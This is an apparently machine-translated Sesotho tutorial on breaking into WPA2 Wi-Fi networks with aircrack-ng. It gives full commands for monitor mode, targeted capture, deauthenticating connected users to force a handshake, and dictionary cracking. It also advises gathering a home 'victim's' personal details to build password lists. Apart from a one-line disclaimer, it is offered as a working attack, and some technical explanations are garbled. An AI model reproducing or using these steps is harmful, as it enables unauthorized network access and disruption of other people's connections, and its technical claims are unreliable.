Ho hakanya phasewete ea Wi-Fi ka thuso ea aircrack-ng

Sengoliloeng sena se ngoletsoe merero ea tlhahisoleseling le lipatlisiso feela. Re u khothalletsa ho latela melao ea marang-rang le molao, 'me kamehla u hopole tšireletso ea tlhahisoleseding.

Selelekela

Mathoasong a lilemo tsa bo-1990, ha Wi-Fi e qala ho hlaha, ho ile ha thehoa algorithm ea Wired Equivalent Privacy, e neng e lokela ho netefatsa ho boloka lekunutu la marang-rang a Wi-Fi. Leha ho le joalo, WEP e ipakile e le mokhoa oa ts'ireletso o sa sebetseng oo ho leng bonolo ho o senya.

E nkeloe sebaka ke algorithm e ncha ea ts'ireletso ea Wi-Fi Protected Access II, e sebelisoang ke libaka tse ngata tsa Wi-Fi kajeno. WPA2 e sebelisa algorithm ea encryption, AES, eo ho leng thata haholo ho e qhekella.

Bofokoli bo hokae?

Phoso ea WPA2 ke hore phasewete e patiloeng e fetisoa ha basebelisi ba hokahana nakong eo ho thoeng ke ho ts'oarana ka letsoho ha 4. Haeba re ts'oarana ka letsoho, re tla tseba phasewete e patiloeng mme sohle seo re lokelang ho se etsa ke ho e hlakola. Bakeng sa morero ona re tla sebelisa aircrack-ng.

Joale u hack joang?

Mohato 1. Hlalosa segokanyimmediamentsi sa sebolokigolo

Pele re hloka ho fumana hore na re hloka sebopeho sefe sa marang-rang, ho etsa sena re kenya taelo:

$ ifconfig

Re fumana karabo:

eth0      no wireless extensions.

wlan0     IEEE 802.11abgn  ESSID:off/any
Mode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm
Retry short limit:7   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off

lo        no wireless extensions

Tabeng ea ka, ho na le li-interfaces tse tharo feela, tse peli tsa tsona ha li na lisebelisoa tsa mohala. Ka hona, re thahasella feela wlan0.

Mohato oa 2. Beha adaptara ea netweke ka mokhoa oa ho beha leihlo

Ho beha adaptara ea marang-rang molemong oa ho beha leihlo ho tla re lumella ho bona sephethephethe se se nang mohala se tlang haufi le rona. Ho etsa sena, kenya taelo:

$ airmon-ng start wlan0

Ka kopo hlokomela hore airmon-ng e rehile sebopeho sa hau (hona joale ke mon0, empa u ntse u lokela ho hlahloba).

Mohato oa 3. Thibela sephethephethe

Kaha joale adaptara ea marang-rang ea rona e maemong a ho beha leihlo, re ka hapa sephethephethe se re fetang ka ho sebelisa taelo ea airodump-ng. Kena:

$ airodump-ng mon0

Hlokomela hore lintlha tsohle tse bonahalang tsa ho kena li thathamisitsoe ka holimo skrineng, 'me bareki ba thathamisitsoe ka tlase ho skrine.

Mohato oa 4. Tsepamisa maikutlo sebakeng se itseng sa phihlello.

Mohato oa rona o latelang ke ho tsepamisa boiteko ba rona ho e 'ngoe ea libaka tsa phihlello le mocha oa eona. Re thahasella BSSID le nomoro ea mocha ea sebaka sa ho fihlella seo re tla se senya. Ha re bule terminal e 'ngoe ebe re kena:

$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0

• 08:86:30:74:22:76 BSSID ea sebaka sa ho fihlella
• -c mocha oa 6 oo sebaka sa phihlello sa Wi-Fi se sebetsang ho sona
• WPAcrack eo ho ts'oarana ka letsoho ho tla rekotoa
• mon0 netweke adaptara ka mokhoa oa ho beha leihlo

Joalo ka ha u bona skrineng e kaholimo, joale re tsepamisitse maikutlo ho nkeng data ho tsoa sebakeng se le seng sa phihlello le ESSID Belkin276 ho mocha oa 6. Re siea terminal e bulehile!

Mohato oa 5. Ho amohela ho ts'oarana ka letsoho

Ho hapa phasewete e patiloeng, re hloka hore moreki a netefatsoe (e hokahane le Wi-Fi). Haeba e se e netefalitsoe, re ka e hlakola (haola), ebe sistimi e tla netefatsa hape (hokela), e leng se tla etsa hore re khone ho fumana phasewete e patiloeng.

Ke hore, re hloka feela ho khaola basebelisi ba hokahaneng e le hore ba hokahane hape. Ho etsa sena, bula terminal e 'ngoe ebe u kenya:

$ aireplay-ng --deauth 100 -a 08:86:30:74:22:76 mon0

• 100 palo ea basebelisi ba tla hlakoloa
• 08:86:30:74:22:76 BSSID ea sebaka sa ho fihlella
• mon0 adaptara ea marang-rang

Joale, ha o hokahanya hape, fensetere eo re e siileng mohatong o fetileng e tla tšoara ho ts'oarana ka letsoho. Ha re khutlele ho terminal ea rona ea airodump-ng 'me re shebe.

Ela hloko moleng o ka holimo ka ho le letona, tlhahiso ea airodump-ng: “Handshake WPA”. Ke hore, re atlehile ho hapa phasewete e patiloeng! Ena ke mohato oa pele oa katleho!

Mohato 6. Khetha phasewete

Kaha joale re na le phasewete e patiloeng faeleng ea rona ea WPACrack, re ka khona ho etsa monahano oa password. Empa bakeng sa sena re hloka ho ba le lethathamo la li-password tseo re batlang ho li sebelisa. U ka fumana lenane le joalo ka metsotso e 5 ho Google. Leha ho le joalo, ke tla sebelisa lenane la kamehla la password le kenyellelitsoeng ho aircrack-ng: BackTrack darkcOde.

Bula terminal e ncha ebe u kenya:

$ aircrack-ng WPAcrack-01.cap -w /pentest/passwords/wordlists/darkc0de

• WPACrack-01.cap file eo ho eona re rekotileng ho ts'oarana ka matsoho (airodump-ng e kenyellelitsoe -01.cap qetellong)
• /pentest/passwords/wordlist/darkc0de tsela e felletseng ea lenane la li-password

E tla nka nako e kae?

Mokhoa ona o ka nka nako e telele. Tsohle li ipapisitse le bolelele ba lenane la li-password tsa hau, o ka ema ho tloha metsotso e seng mekae ho isa matsatsing a 'maloa. Ho processor ea ka ea dual-core Intel, aircrack-ng e hakanya li-password tse fetang 800 motsotsoana.

Ha password e fumanoa, e tla hlaha skrineng sa hau. Hore na ho hakanya phasewete ho atlehile kapa che ho ipapisitse le lenane la hau. Haeba u sa khone ho hakanya phasewete u sebelisa lenane le le leng, u se ke oa nyahama, leka e 'ngoe.

Litlhahiso tsa tšebeliso

1. Tlhaselo ea mofuta ona e sebetsa hantle bakeng sa ho hakanya phasewete lethathamong, empa ha e na thuso bakeng sa ho hakanya feela. Tsohle li mabapi le nako. Haeba Wi-Fi e sirelelitsoe ka password e tloaelehileng ea litlhaku tsa Selatine le linomoro, khetho e sa reroang e tla nka lilemo tse 'maloa.
2. Ha u khetha lethathamo la li-password, etsa bonnete ba hore u nahanela maemo a sebaka. Ka mohlala, ha ho na thuso ho etsa khetho sebakeng sa reschorente sa Paris u sebelisa lethathamo la li-password tsa Serussia.
3. Haeba u hack Wi-Fi lapeng, joale leka ho fumana lintlha tsa botho tsa motho ea hlokofalitsoeng (lebitso la pele, sefane, letsatsi la tsoalo, lebitso la ntja, joalo-joalo) 'me u hlahise lenane le eketsehileng la li-password ho tsoa ho data ena.
4. Kamora ho ts'oara letsoho, tima aireplay-ng (u seke oa etsa hore basebelisi ba tloaelehileng ba utloe bohloko).

Source: www.habr.com